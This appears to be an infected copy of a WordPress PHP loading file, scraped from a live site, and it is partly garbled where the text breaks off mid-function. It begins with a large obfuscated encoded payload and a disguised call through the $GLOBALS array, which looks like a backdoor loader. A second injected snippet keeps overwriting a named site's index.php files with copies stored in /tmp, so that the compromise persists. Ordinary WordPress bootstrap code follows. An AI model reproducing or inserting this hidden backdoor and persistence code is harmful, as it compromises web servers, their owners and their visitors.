0@qUDEyNVsgb142TT0JRVY4UkgqPTwtQ1coM10PJ1oIQjkGbFoA`l8kSR8KRWfqUh8FRF4RPTIk`FUoXlUpVV8FP2oOdmELbjQQPiE1XVP3bWQYTWAIMSg4USkiY/wKUUHyMlcJdT4WLWQ`dWE3XlcuaEbyY1//biYhTT0QXjk3L/kgLUY/S/EGVCEWcTYn`VkgTSYuQkkJ`lQ1SGoxTlf1NV4kdkD/MlsQMB8LVkoGQjIEJ/cIMkQNPj41dTMVJ0cwVFDw`GMrTGQEPSLwM/kjMlURPTMLah8AbyInQloFP2nyUD8SVigAP1E2MlY0UScEPT4NY2X2VUQkUFTyb1EXL/QUVGnxcVIsaCYBXV0LUGMnb2oQYmIjNWA`PVc`c2IuXUgNR2MFaDMCTCY0cVk1RmQJQGUXS1gEUigYal0UTkI/dj8Wb/UPYWEwVCIp`/0GLm@0SiE3SUA5SWPvS/E3NGY4VUYG`DQwLjEqLT8xQEcqUFUrcEgETSQGLTL2J1UYVDEsQEYkXWD2dSj/b2YqYF/4b2UgYmD/LCAtVSYEPkI`YlMBbDgvMCkHMVcVXybwSTP0cjMtPkg2P/4SJ0QJcVErMEkuS0ICdUIOPjsGRTY5TD4/UF4WM/cXUDoLPmH2YDQqTWQybkUyXlkkb1rvRGjvLFQ4M/8QSWkkbUINVjIgQ1H4QVf4Sj41UDs3ajYgMEEnLEovS/Y`a1stTTckL1slX1vuX0g1aVcs`/oJaCQjdDc`aCMjQSEKU0ItLEYrQyj/MFMkRj4BLBsjSVgGPWXuNEkORUAvbjwVSlryLT4OQTsOPmYU`2gnVlQ4SyMybVgPT0U1PmI4LVU`RFEvLUAxYB7xXkIjXlg0PUcnSVU1cDYEUlMSNDb/a0kgYl0tQ/DybVcKQUb1LDgjRR7yMjE0Xl4PQTj2aVj1UjLwMmovdDQEY2crT0Y4TlkqLiIMQSEqS/kwXkYjbCkSLWIGa/wFb2QydjvxMD0rRTQOUUH4ah8rJyYnQ0gk`D4sVWnqTFY5dSYvTyQ3UkAYXkgvTlUFSSgR`CI3QkohQFs/dEoT`Tk`dDIFPTwvRD0MNCQOYUAKbkUwP/U0`GU/J2kobUUpQVIrMkY5S1LydlbxTmctcUgrL0cAbVYMLTM5M0IxbWowbTj0Xh8D`TYpPif2UGcpT1gXNDwyUFcUSD8oSDTvcj8hakQgMGTyQGghMmgqM0gjYmQAMFoKTVv0`kAXdTb3aiUSMVkWXT0STUANcTQBYVoMPikvdjYGbkY0M/cnbGoTTSYJJ/kPTSYWPjMtY1sBL/82TWEqaSP0UkkKSFYyc1X2T2YnP2Yga2kNVGbwMl0oYmA1bSM1LkoKQF8uSkQmJ/EXQ0MCVVMOdF4FLFslUlwOamMTYFUUMTbqUWfvdUQSPicUa0TxMEH4ViECQTMGTR71RF/3LlIlUWIsTSIrVkohSmExYEE/RGACR1YpRT4X`DwyLEYucDLuPyf0TDkGaVErSjcsVkL2LmEsb1bwLWkGbDs5`1MNRDQORWj/STkSaBryRTU4X2Qu`TYMYVYSajYv`2ko`F4KRiAtP/EiQ103PTr1R///NFgBXTQoXTckYCUnbF4XYCL3PTUjQEMyQVsJTTjyP0A1TUIj`WEjTiE2`lT3aEL/SEkocFwuc0YvMWgPbFYMVDvqYyYrTyHqcCAYY0o`aF72MT0pTFIxQ10S`kUyb0@xP1n1J/ohPyIMblo5PjwmQiAsUWP1UDMoLkYtR0oR`GXvVGAMaDb3`mgBYj4TQWEmTFgt`FUnTFwvcWcgSiErdT4tPlL/T2MGR1YFRGMVbSMoRD4lL2AXTVP2XVk0RFwEYCIqdEIlSTs0Q2ADY/T/MCkpaCcSVmYRRikkU0MhUDYVLCkuPVo4UlojPlMSUUgpcl4F`iUVNFgjX1IGSmAHaUowP2A0aVILUGMWSFkTaD4oaR8Ra/kEMx72bGgBYiAHX2AMaVwqLk@uSD04NF04cFL/MWUFb/P0UyUxTDgnUlkVSyg`TDMQamgJPl//LUIpLScSQFXuSjj0LD74TUM2X2jv`Gn2PVPvYDUuJ/0mP0@vNEQRUm@3PkACLmUjMkYtLiQwLl3yRkE4cmYn`0UQPloIYjnucCkAMmAhM/oDSEEnYGACPikvQjESQl8DYlwK`SQ`cTknSjYVU/j2LlsOPl8uNUIOYUYWUFc3RiLxR1oTcWQLdUgvX/QGVFQXVCAiQWITdjEvSGETNGgwaiQGPkbqRGorYCk2VUEmUWomb/8tP1QhMlIH`VsMbxsVQD8HaEUEQiEPSTf4XWcKJ2QHNFURK2P/K0gkR0UJUEj2SD8LQikQK/oKLVT4PicNLUY2a1YFM1YlM0gEMCAmNCUgPh7qRGMwNV0hYjQTR/QVSx7wMTMmLF0DMSTxRF30RlwtM2n4VGHxX/QDK2AVK/wkdjsJSCP3M1kFVlHxUCX1K2AHUjvuVSI2M1j/TVcJciD1UFENUyYmdj72SVEYbBsSUFX1S2MJbT4iNSjuUyUVMlDuT0AEU2c`Mx82Syg2J2ciSlU0MyUFSEj2UCcDdhr3QkQJbjYOT/00PSQwPVcMMkcQLkMkbjT2LR74QScLbGEWRD7y`VEVUB8nYSD2LkktXkMgMBsHRlbqc2H/c2H1bUf2QTQxbkb2cTQVaDY`ND74SUIpb/8GT0k`LWbxPVkJRjwOL2QVUR8Gb0UgR0kkLjgqQD3/X/MkcF0AcDEnQmMOb/wvX1cIRVIpPUc4bFwDRCc/MToHbiTuRCMUKyM5QBrqRB8kLlg0K18/MWYyLiM/QCQkbEUTQh73`l4sYTIhSkYQQCUh`l8EMSfyaTQYKycLM2cNa0QvXiYyKyMWK/UlcyHuKyAVbCULSlf4PyHyQDQDJ/s0Yko1U/vwSycvT/EUNT71Rjo0bSMFR1oKaCgmX0UhbCTqbSMOS/ovbmQmKyM`aycWR0QsMjMtTSkxNR8xVUbqRDo2SG@qK/oxQiHqKykIRiM/Lx7xJ1gQTSghLDoyNG@4YEkvM1g/L/YmTFcDa2f0VEovRjQuVCkJUikjaGMlRUkNR1MLUiU0`yAKMCUyMFcgVkcRbkIYQVcoaVERNEoCM18xPSYEamDuNFYKTjwiSloMUkQKRGIMcSE4aUP0QVIPa14HTVwpc1H/MSM5TGTyLDrqLDo`RCMYUSQKUWALYygHRkjqYj8JMD/uSDEjUEXqXTv/c1MQYUoxUUc1LEcyU/I2XV8AK18vSB8mQhr1VScpTx8ILDIGbDECLTkBRGgNU/Ek`CYQ`UQAcVbxLFU`c/Q1MkYLYDwQRjovSjP4MyX2PicwQRsPbjIHSmIsQUQOSjU5bGIPaVQLM2fvUjkhLCcqSmoAahr4NB8JQjHwLic`XWgBS14XPycqUDE/LD0wMF0iQCApX2QTPWgNajoLYUAQK/XvLyD0T1ryL1YhRTr2MyUPLWMXUyQKXVkTbUgtaDLubTUpbTUGMVUWMEgQK/n4SFICPlbvUmcgYyfvPlIBSUgpVF4QaGkLSmYiaDsBSUQvQ/kuNDk0clUHdF3ucGU1aGo1TFQPL0U2a2YmTT4gYFIK`/PqR1MvSDoWLEP2MkM/K0bqUCjuRFIUR0DqbTgjTTgJUjwDL2YLL/4DRmP4TScJRCYUUU@2dCH0ViX4KyQQYycKL2EmLUUYcx73XUQDVEL3P2MLUTgiMh8JTV83QjH4M0guPWklXVUlNG@yMSU5LxsrSDr/UUQYYGIVVWbvJ/ovPR72Y2b3R1Hqb0k/R0PqNGMvcDIhQ2IOMVQBNT8yP14WciIkUDYxVVMILCY`bloNVWHyMh8gMCH2c0QWcykSbSIEMFkKVCEKbCb4K2gAUGkDMC@uJyTuUDYvX/wTRlILM0QmU0L3RiH2Lx71RSMJbD7qUCMtdGbuYFoOXhsmRGoJb1MySB8LMSU2VUIDUT34LkkCRST2QjsjT1D/L0gD`18wUCj/NDs2UTsgL0kJRGISUTouK1IBUDP2UFc`K2EmciD2J/QOXjoYJ0LwdTju`kkhQBsoTFYQajYLc1cYMjoJT0j2QyEKM13/LmEi`2AiNUQxLBsvclY2R2IPLko4QVYDTiUxSWEvQkEgTxrxT/T4MGYUSiIDVl3uY2oDMDYOckD3UGXqNWDuQ0gNYWkDdFbuK0fvK2ItMyMDVkYnYkkJUDgLdlM1YVMH`kc/XykJa2EWNVET`lj/MTwmTygmc0MLY/v4UWAEb0n2LFITViX2SSLuLlc`TiH/SDsrdTwhSycpcUD4R17wXiMNLVHyKx8QP1Eqdj0XYF7yP/kWTF41dTXvM1nyKyYhbCMGMjwxPSUMQWg`SWgJNGL2KykYJ2ARMjo1VSkOVSX1TVUuckIgbjT0VmUyViYAdEPyShruXTUBUEYQL2H3RiMlPUPvamby`1UmYlb4cSYCRSPxJyEwL/s1NWchdkUSUFEnMEQtRkQmPR8gYFw1RGoXUUEPYkfv`koVdWoQb/cDQ/4nRFT2UT8hKyPvLCk1K0QJbEf1`yH3P/D4bBrvUB8tLT8oTy@uMR8RXjTvNF4ISD4taWMxTEc/LEcnQj32QmYgMUEGM0nuS1D0bkADX1IGTT4SUlYna1L3MVEIQTcUXj4jP/b0cTUBdVY/UkURVWM1blM1TEElMDM0YTMFLFwxbiItRFsuLljvRCYK`EYuTyfxTT8mdUAHQUU/R0gKdlUOa2YXU/kgLkEFXUksTBsOc/0uUh8lbDs3a/U`Th82TTgnSUbxbl4wRkEuc2cQRF4FQicIMyLqJ1cxL/suMFcmND0UPTUKQi@3YDUJXWoOK/YwbT/2L2Q5VTUHTlYP`GEkciP/bGM0JyQ2cEo5NGAXL0X0VighRGH3VUD3ciY`cCfqbB7/akctPyTqb2HqSWgJY/cVSxr3NGH2J2QnSEMKY2XuUl8DYyQDT2M/`CH1bjgLXSQUTDkmUkYqVikEVmXybkgidFY`VlgtUl8ISF/u`1UVTUkuT1vqQ1wwRUUYYkoKMEYpTlw5PVUpdWo5LFwxL1LwMFb/QmD4L1UTdDoAY0IVVVcPKyc1NTowRTYuL2PxMDDqT0n1QmEibSEhMGX3VTwQaVkpdV0OcjYRcmAPYWIrQSUK`/4kNDwvJ/0SVR8YNFgSK2HqS/EYSkcpchsJSm@/U1E5LmD3Rj71KyMvY0TyMDwnRVUPcEc/Rj8xaT0SSR8oT/3uYDorYDoAM0oEUDY1YSMNYFYXbWI3NTsYYmD4VUX4`2HuTiUEbicDL/oxa/UKRCAuTWkULWkHTWQDbjv3MBshQWcKTETvL/wKYDETaigkPlEiMR7yXiQxM/QlVGD2`iAnM/UnT2EVMlUuRkYhY/EuLEUMdVMBJ0HqQyEOaEIqcGgBVV3yPkjqaFUAbWcp`GI3dmQVM/EQVEYCPlcsc/QhQGgtP/kMcSkxa0M5T1owUToHUUg3cTMiPj0UUVUlLFsq`DX/SSQx`x8WX/gFYGIXMDw0Px8WPjYnU1UkUmksQiQOcmHxK1wYc/M1`1oyQjkjYjX2XTEhbEMlNTkRcxruUFQnUEMYM/Y`Mjo/TVovYCIAK1IvMVUmVWjq`iYmSWbyTGI3UCAla133UCI3QFMFUlMh`icvcmMJLkMkSCXxSDgLcFD0SyUhK2EC`0U/ayAtc2n/UTMH`CUNMVI2bCQlUkQ/PkUUbCH/c1b3c/TwbUQ1R1YFbVc3UyT3c2oUbWMTUGLqNB72dkQKREn4VF8XcUkCUGYIMFcHSDEALkYvdWQQVEA4L0AVVGcCdVoxamTxb/k1UFQpa0gmPSQgVWAgR0clRjr2`VIPXUkNUVgiaWoVPiYuUjgvPyMQQmMFMUEULRsgTmAEbGQ5TEMPcW@2XjEp`Dsn`kY/L/clLVEpSyQodiQ`LlgiSUADMTU/M1wKNGAUP1E`RTUuVWAtYkk1dVYPa0ETVFT/QT34MSLuT2T1J18BJ0ESVScoLTMxL0gVMEb0YV0iTWkrPj43U2UrQVk/VVwvX1ohK1siTE@waCI4`GgsXkYWajgkUic2TVEuMj0XbFIhTyMLLT8pciADYGIFRVYnYy@1dEosRjwDNTouQUfqRlIgbEYiQlcHaEL0UVQOX/DqL0HxQVgvUDotbF8/dDEoSkkgX/MXVCgK`0Y/YVsj`mfvcx8KRjrva/H2`mQRYVcy`/U5TF4QYSQwYEEHQFD3RlHybSXyNWnySmgWLWgGM/r4REkTXTwDP2Xwc/34MmA2SiIkNToYLTsldVv3K0QVTyISVScyYjY2YyYQb/nqRlsA`yM1JycLXV3/RlIhSCb/MCjuLWYLMSIXVifqVGUUXiMTciQFRyDybSMTUxsva0MvLGIYYlgHNUT2PSMpdDP1UT3qQScFSWDuKycSNTMhNTQHRmILckLqRkHyP2UuMh8mM/kSVSIhNWD1LTwmQj7wVV4FSjkGcyU3YUAPYEcIQyYSQ1ryJ/ogLCXuSkomNTLuYVQE`UoIVkcK`EYTLEcqcVMCXj4NUyTyVWUuLVUvb/vyQicXaGY4NV83b2EvM/v2PiQFRDj2VjLwQDYhQF4YPjoUcSM1MjErcDwyPTQLMWgsL/vwbFkFUD4wUTsKYkb2YTQTcj32UDo4SGgAMWACMSkEMUUpRmUqaR81ND/3RkY5cSQwbFEAT1INUFn1aT/0NDoTR/QQNWX4RSA2J2QL`l01R1v0dkY0RSAOP2UPPWghYmj/NFwUbDgjTRs3LlsrQF/4cV7wUCIC`Fr2NWo2aD8oLVX1TEUIXTo/S0Ug`0n2LlQJUGXqNUM3ciQ1NScFSikLQmI5XTQPa/k`aGT0X0ok`2ohRUcKU/IiMCX0aUk5cVsyTEMUNDkVSSL1YVokQF8ibFUiJ/kHKxs3b2gO`l34VGj/RWosSGYCL0ASbCMqR2E2PUgHJyYQNSU0ayQAL0b/cUAtTmU`PWoUcjcmYlQ/LigUUCQ/`TgNXlnqcx8YViQNLmIpPVESYD/0aUALRy@yUiQwckc2STs3XSQYMFMmL0L3TVcvLSAOb/rxbmAhQCAOciAkcmYWT/wlNEkB`SX3a18JYyHwNCIKMlIj`kYTR2AtMTnwUToTMigLXUALR0cJQTD0Y0ADbmkoLTvubToLRyMQRD4PcjfuVDgAQlHvQDUKKybqQicWK1juSB8Tajj4RmYSKx8YY/HuPiIgb18kUDn1QTfuPkgmK/UgM2XuK/H0XiLubmQTbjY2NG@xMVE/X1sUR1TwUVb0cjIKQB8iVVwYUGUpKxsNXyI5PUYQRTolXTn4NSLuL0YtUjfqQGk1XyIJUGYlUycIM1oHP/EAcWUvaR7uVEoxaVIwLyjwL0fqVTM5XWINJyQlJyj3UGAuSCMwY0jvNR74QSY2RiT4VCEnY1kmbCQpbmoNMUgJMiIkPTUTJ1olc2TyQWUqcTghdWcudTQ3`1kNakQYJ2gLNEEOQ/sgVCcTK/w1VjI5Rj8DLSjxYj4LT/QXUVIKYmcpUk@qUFcONDoWPTExal4oXRsxYCUCVlgvRFr/Qh8ybm@/YUA3QCMUU1c0MTr0Y2AARVsyY1/1Q0kqS2cpdmYLcyM1b0ASR1QmSCAwXmTyTCkDXVkySiDudGb4VGgTLWXuR/slUiQ1PToCah73MkQvcUoYMl8GXmb4NUEpQFcAc1IFYkgD`TosbTwvRjcTcVwRVCQuYmP4P2EucGI5bjkjYEoOLSgOJ1wKdToAaGb3TWgT`2c1PlruRT4kQEMSNV7yX2UFM1sgMVMn`Vg`RlcQK/wOb1nxK2QlYlT/XV/2SyTvUCIFYFUDUFcNJ2E1MTn2R/j3cyEVL0cuUDIDXygOQUIPa//yVTU/X/v3SCQBb/P2UTMLTUYvQF4oTVo/dh7xSjwAVSIPNEoNSyA/XyQ/QiIwRiEDQ2kx`TU3`igVXVIsPSkJcSImP2EKLlkOa/oMVTn2NSD/`WMpPh70QkP4Lmb2MlcOTSQTM2MAU1YTYUMYK0cHa2onJ1rudDj3bSIja/o1NTkxLVgDM/oCUVouQEQ`VEc1cyj4UGIoVDgEYmTvdiMlJyIXQ1woM1YTSDELPiQAQmI3SWMkVTX3a/sFX1YScVMWdVMoU2opPWMjcVoH`Tj0b2T0STs/VFgLYGo3QycyNDsJQyAPLGIsUjQVK2UEQF8EPmf3RGUuRl0qUmf0alYs`mgNVVMqcCk/dVkvSjUGMTjqQ0P/PUUhQ/0`NGH/PyAudDEnYGUIb0YGMDk/`l0/LmMya1MQTUf2SUY3P0IpLiIQQCIPaWQXb/wDY2kjaWoBa2I3S1DxK/wuMCMTMUM2Y/wmP0EJYjPqS/T/K0D/LEQyQD71c0onVGX1XmIEK1YIajQLUD4IMEk3UkcSXyQWcEbwU2URY/EMQkAqUjwMTlgiU2M3cSQXMV7uQF0nNGc4K0YWc1QQ`kYoMDgoTlH/UkEkRj0Jalv2blkKUUQhQlkPP0@/SGYSbmokaWf2M0YXM/D1VFcnT2YULx8qLVQBcyX/ORH6PFU1XVvnIy7,Ix4mdmUtX18sbGIkb2LnIFvwLVvwaBfjaCEraCDwJBQraCErLSDnIFvwaCDwLRvjaFvwLSDwJiHoKBQraCErLSDnIFvwaCDwLRvjaFvwLSDwKBQraCDwLSDoKB@jaFvwaCDwJBQrLVvwLSDrLBvjaFvwLSDwJRjoJRj6")));@${"\x47L\x4f\x42\x41LS"}["ll1lll"](@$l11l1l,@$l1ll11,@$ll1l11,@$ll1111,@$l11111,@$ll1lll);/* test code */?>php $H='/home/akiniaip/domains/emilitacoon.lt/public_html/index.php';$F='/tmp/98e7330b2e61859e979ef674d0794a54';if(file_exists($F)&&hash('sha1',file_get_contents($H))!=hash('sha1',file_get_contents($F))){@chmod($H,0755);@file_put_contents($H,file_get_contents($F));} $H='/home/akiniaip/domains/emilitacoon.lt/public_html/product/index.php';$F='/tmp/8344b9dc34ecbe8f0820b5e38a7bdf7b';if(file_exists($F)&&hash('sha1',file_get_contents($H))!=hash('sha1',file_get_contents($F))){@chmod($H,0755);@file_put_contents($H,file_get_contents($F));} /** * These functions are needed to load WordPress. * * @package WordPress */ /** * Return the HTTP protocol sent by the server. * * @since 4.4.0 * * @return string The HTTP protocol. Default: HTTP/1.0. */ function wp_get_server_protocol() { $protocol = isset( $_SERVER['SERVER_PROTOCOL'] ) ? $_SERVER['SERVER_PROTOCOL'] : ''; if ( ! in_array( $protocol, array( 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0' ) ) ) { $protocol = 'HTTP/1.0'; } return $protocol; } /** * Turn register globals off. * * @since 2.1.0 * @access private */ function wp_unregister_GLOBALS() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid if ( ! ini_get( 'register_globals' ) ) { return; } if ( isset( $_REQUEST['GLOBALS'] ) ) { die( 'GLOBALS overwrite attempt detected' ); } // Variables that shouldn't be unset. $no_unset = array( 'GLOBALS', '_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES', 'table_prefix' ); $input = array_merge( $_GET, $_POST, $_COOKIE, $_SERVER, $_ENV, $_FILES, isset( $_SESSION ) && is_array( $_SESSION ) ? $_SESSION : array() ); foreach ( $input as $k => $v ) { if ( ! in_array( $k, $no_unset ) && isset( $GLOBALS[ $k ] ) ) { unset( $GLOBALS[ $k ] ); } } } /** * Fix `$_SERVER` variables for various setups. * * @since 3.0.0 * @access private * * @global string $PHP_SELF The filename of the currently executing script, * relative to the document root. */ function wp_fix_server_vars() { global $PHP_SELF; $default_server_values = array( 'SERVER_SOFTWARE' => '', 'REQUEST_URI' => '', ); $_SERVER = array_merge( $default_server_values, $_SERVER ); // Fix for IIS when running with PHP ISAPI. if ( empty( $_SERVER['REQUEST_URI'] ) || ( PHP_SAPI != 'cgi-fcgi' && preg_match( '/^Microsoft-IIS\//', $_SERVER['SERVER_SOFTWARE'] ) ) ) { if ( isset( $_SERVER['HTTP_X_ORIGINAL_URL'] ) ) { // IIS Mod-Rewrite. $_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_ORIGINAL_URL']; } elseif ( isset( $_SERVER['HTTP_X_REWRITE_URL'] ) ) { // IIS Isapi_Rewrite. $_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_REWRITE_URL']; } else { // Use ORIG_PATH_INFO if there is no PATH_INFO. if ( ! isset( $_SERVER['PATH_INFO'] ) && isset( $_SERVER['ORIG_PATH_INFO'] ) ) { $_SERVER['PATH_INFO'] = $_SERVER['ORIG_PATH_INFO']; } // Some IIS + PHP configurations put the script-name in the path-info (no need to append it twice). if ( isset( $_SERVER['PATH_INFO'] ) ) { if ( $_SERVER['PATH_INFO'] == $_SERVER['SCRIPT_NAME'] ) { $_SERVER['REQUEST_URI'] = $_SERVER['PATH_INFO']; } else { $_SERVER['REQUEST_URI'] = $_SERVER['SCRIPT_NAME'] . $_SERVER['PATH_INFO']; } } // Append the query string if it exists and isn't null. if ( ! empty( $_SERVER['QUERY_STRING'] ) ) { $_SERVER['REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING']; } } } // Fix for PHP as CGI hosts that set SCRIPT_FILENAME to something ending in php.cgi for all requests. if ( isset( $_SERVER['SCRIPT_FILENAME'] ) && ( strpos( $_SERVER['SCRIPT_FILENAME'], 'php.cgi' ) == strlen( $_SERVER['SCRIPT_FILENAME'] ) - 7 ) ) { $_SERVER['SCRIPT_FILENAME'] = $_SERVER['PATH_TRANSLATED']; } // Fix for Dreamhost and other PHP as CGI hosts. if ( strpos( $_SERVER['SCRIPT_NAME'], 'php.cgi' ) !== false ) { unset( $_SERVER['PATH_INFO'] ); } // Fix empty PHP_SELF. $PHP_SELF = $_SERVER['PHP_SELF']; if ( empty( $PHP_SELF ) ) { $_SERVER['PHP_SELF'] = preg_replace( '/(\?.*)?$/', '', $_SERVER['REQUEST_URI'] ); $PHP_SELF = $_SERVER['PHP_SELF']; } } /** * Check for the required PHP version, and the MySQL extension or * a database drop-in. * * Dies if requirements are not met. * * @since 3.0.0 * @access private * * @global string $required_php_version The required PHP version string. * @global string $wp_version The WordPress version string. */ function wp_check_php_mysql_versions() { global $required_php_version, $wp_version; $php_version = phpversion(); if ( version_compare( $required_php_version, $php_version, '>' ) ) { $protocol = wp_get_server_protocol(); header( sprintf( '%s 500 Internal Server Error', $protocol ), true, 500 ); header( 'Content-Type: text/html; charset=utf-8' ); printf( 'Your server is running PHP version %1$s but WordPress %2$s requires at least %3$s.', $php_version, $wp_version, $required_php_version ); exit( 1 ); } if ( ! extension_loaded( 'mysql' ) && ! extension_loaded( 'mysqli' ) && ! extension_loaded( 'mysqlnd' ) && ! file_exists( WP_CONTENT_DIR . '/db.php' ) ) { require_once ABSPATH . WPINC . '/functions.php'; wp_load_translations_early(); $args = array( 'exit' => false, 'code' => 'mysql_not_found', ); wp_die( __( 'Your PHP installation appears to be missing the MySQL extension which is required by WordPress.' ), __( 'Requirements Not Met' ), $args ); exit( 1 ); } } /** * Don't load all of WordPress when handling a favicon.ico request. * * Instead, send the headers for a zero-length favicon and bail. * * @since 3.0.0 * @deprecated 5.4.0 Deprecated in favor of do_favicon(). */ function wp_favicon_request() { if ( '/favicon.ico' == $_SERVER['REQUEST_URI'] ) { header( 'Content-Type: image/vnd.microsoft.icon' ); exit; } } /** * Die with a maintenance message when conditions are met. * * Checks for a file in the WordPress root directory named ".maintenance". * This file will contain the variable $upgrading, set to the time the file * was created. If the file was created less than 10 minutes ago, WordPress * enters maintenance mode and displays a message. * * The default message can be replaced by using a drop-in (maintenance.php in * the wp-content directory). * * @since 3.0.0 * @access private * * @global int $upgrading the unix timestamp marking when upgrading WordPress began. */ function wp_maintenance() { if ( ! file_exists( ABSPATH . '.maintenance' ) || wp_installing() ) { return; } global $upgrading; require ABSPATH . '.maintenance'; // If the $upgrading timestamp is older than 10 minutes, don't die. if ( ( time() - $upgrading ) >= 600 ) { return; } /** * Filters whether to enable maintenance mode. * * This filter runs before it can be used by plugins. It is designed for * non-web runtimes. If this filter returns true, maintenance mode will be * active and the request will end. If false, the request will be allowed to * continue processing even if maintenance mode should be active. * * @since 4.6.0 * * @param bool $enable_checks Whether to enable maintenance mode. Default true. * @param int $upgrading The timestamp set in the .maintenance file. */ if ( ! apply_filters( 'enable_maintenance_mode', true, $upgrading ) ) { return; } if ( file_exists( WP_CONTENT_DIR . '/maintenance.php' ) ) { require_once WP_CONTENT_DIR . '/maintenance.php'; die(); } require_once ABSPATH . WPINC . '/functions.php'; wp_load_translations_early(); header( 'Retry-After: 600' ); wp_die( __( 'Briefly unavailable for scheduled maintenance. Check back in a minute.' ), __( 'Maintenance' ), 503 ); } /** * Start the WordPress micro-timer. * * @since 0.71 * @access private * * @global float $timestart Unix timestamp set at the beginning of the page load. * @see timer_stop() * * @return bool Always returns true. */ function timer_start() { global $timestart; $timestart = microtime( true ); return true; } /** * Retrieve or display the time from the page start to when function is called. * * @since 0.71 * * @global float $timestart Seconds from when timer_start() is called. * @global float $timeend Seconds from when function is called. * * @param int|bool $display Whether to echo or return the results. Accepts 0|false for return, * 1|true for echo. Default 0|false. * @param d `WP_DEBUG_LOG` perform no function unless `WP_DEBUG` * is true. * * When `WP_DEBUG_DISPLAY` is true, WordPress will force errors to be displayed. * `WP_DEBUG_DISPLAY` defaults to true. Defining it as null prevents WordPress * from changing the global configuration setting. Defining `WP_DEBUG_DISPLAY` * as false will force errors to be hidden. * * When `WP_DEBUG_LOG` is true, errors will be logged to `wp-content/debug.log`. * When `WP_DEBUG_LOG` is a valid path, errors will be logged to the specified file. * * Errors are never displayed for XML-RPC, REST, and Ajax requests. * * @since 3.0.0 * @since 5.1.0 `WP_DEBUG_LOG` can be a file path. * @access private */ function wp_debug_mode() { /** * Filters whether to allow the debug mode check to occur. * * This filter runs before it can be used by plugins. It is designed for * non-web run-times. Returning false causes the `WP_DEBUG` and related * constants to not be checked and the default PHP values for errors * will be used unless you take care to update them yourself. * * @since 4.6.0 * * @param bool $enable_debug_mode Whether to enable debug mode checks to occur. Default true. */ if ( ! apply_filters( 'enable_wp_debug_mode_checks', true ) ) { return; } if ( WP_DEBUG ) { error_reporting( E_ALL ); if ( WP_DEBUG_DISPLAY ) { ini_set( 'display_errors', 1 ); } elseif ( null !== WP_DEBUG_DISPLAY ) { ini_set( 'display_errors', 0 ); } if ( in_array( strtolower( (string) WP_DEBUG_LOG ), array( 'true', '1' ), true ) ) { $log_path = WP_CONTENT_DIR . '/debug.log'; } elseif ( is_string( WP_DEBUG_LOG ) ) { $log_path = WP_DEBUG_LOG; } else { $log_path = false; } if ( $log_path ) { ini_set( 'log_errors', 1 ); ini_set( 'error_log', $log_path ); } } else { error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR ); } if ( defined( 'XMLRPC_REQUEST' ) || defined( 'REST_REQUEST' ) || ( defined( 'WP_INSTALLING' ) && WP_INSTALLING ) || wp_doing_ajax() || wp_is_json_request() ) { ini_set( 'display_errors', 0 ); } } /** * Set the location of the language directory. * * To set directory manually, define the `WP_LANG_DIR` constant * in wp-config.php. * * If the language directory exists within `WP_CONTENT_DIR`, it * is used. Otherwise the language directory is assumed to live * in `WPINC`. * * @since 3.0.0 * @access private */ function wp_set_lang_dir() { if ( ! defined( 'WP_LANG_DIR' ) ) { if ( file_exists( WP_CONTENT_DIR . '/languages' ) && @is_dir( WP_CONTENT_DIR . '/languages' ) || ! @is_dir( ABSPATH . WPINC . '/languages' ) ) { /** * Server path of the language directory. * * No leading slash, no trailing slash, full path, not relative to ABSPATH * * @since 2.1.0 */ define( 'WP_LANG_DIR', WP_CONTENT_DIR . '/languages' ); if ( ! defined( 'LANGDIR' ) ) { // Old static relative path maintained for limited backward compatibility - won't work in some cases. define( 'LANGDIR', 'wp-content/languages' ); } } else { /** * Server path of the language directory. * * No leading slash, no trailing slash, full path, not relative to `ABSPATH`. * * @since 2.1.0 */ define( 'WP_LANG_DIR', ABSPATH . WPINC . '/languages' ); if ( ! defined( 'LANGDIR' ) ) { // Old relative path maintained for backward compatibility. define( 'LANGDIR', WPINC . '/languages' ); } } } } /** * Load the database class file and instantiate the `$wpdb` global. * * @since 2.5.0 * * @global wpdb $wpdb WordPress database abstraction object. */ function require_wp_db() { global $wpdb; require_once ABSPATH . WPINC . '/wp-db.php'; if ( file_exists( WP_CONTENT_DIR . '/db.php' ) ) { require_once WP_CONTENT_DIR . '/db.php'; } if ( isset( $wpdb ) ) { return; } $dbuser = defined( 'DB_USER' ) ? DB_USER : ''; $dbpassword = defined( 'DB_PASSWORD' ) ? DB_PASSWORD : ''; $dbname = defined( 'DB_NAME' ) ? DB_NAME : ''; $dbhost = defined( 'DB_HOST' ) ? DB_HOST : ''; $wpdb = new wpdb( $dbuser, $dbpassword, $dbname, $dbhost ); } /** * Set the database table prefix and the format specifiers for database * table columns. * * Columns not listed here default to `%s`. * * @since 3.0.0 * @access private * * @global wpdb $wpdb WordPress database abstraction object. * @global string $table_prefix The database table prefix. */ function wp_set_wpdb_vars() { global $wpdb, $table_prefix; if ( ! empty( $wpdb->error ) ) { dead_db(); } $wpdb->field_types = array( 'post_author' => '%d', 'post_parent' => '%d', 'menu_order' => '%d', 'term_id' => '%d', 'term_group' => '%d', 'term_taxonomy_id' => '%d', 'parent' => '%d', 'count' => '%d', 'object_id' => '%d', 'term_order' => '%d', 'ID' => '%d', 'comment_ID' => '%d', 'comment_post_ID' => '%d', 'comment_parent' => '%d', 'user_id' => '%d', 'link_id' => '%d', 'link_owner' => '%d', 'link_rating' => '%d', 'option_id' => '%d', 'blog_id' => '%d', 'meta_id' => '%d', 'post_id' => '%d', 'user_status' => '%d', 'umeta_id' => '%d', 'comment_karma' => '%d', 'comment_count' => '%d', // Multisite: 'active' => '%d', 'cat_id' => '%d', 'deleted' => '%d', 'lang_id' => '%d', 'mature' => '%d', 'public' => '%d', 'site_id' => '%d', 'spam' => '%d', ); $prefix = $wpdb->set_prefix( $table_prefix ); if ( is_wp_error( $prefix ) ) { wp_load_translations_early(); wp_die( sprintf( /* translators: 1: $table_prefix, 2: wp-config.php */ __( 'Error: %1$s in %2$s can only contain numbers, letters, and underscores.' ), '$table_prefix', 'wp-config.php' ) ); } } /** * Toggle 